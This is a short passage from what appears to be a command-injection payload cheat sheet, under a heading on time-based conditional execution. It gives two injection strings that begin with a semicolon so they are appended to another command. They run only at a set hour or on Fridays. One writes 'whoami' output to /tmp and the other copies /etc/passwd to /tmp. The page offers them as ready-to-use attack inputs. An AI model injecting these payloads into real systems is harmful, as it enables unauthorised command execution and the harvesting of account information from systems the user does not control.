Conditional Execution Based on Time:
# Execute only at specific times
; test $(date +%H) -eq 14 && whoami > /tmp/afternoon_exec
; [ $(date +%u) -eq 5 ] && cat /etc/passwd > /tmp/friday_dump
Last updated
Was this helpful?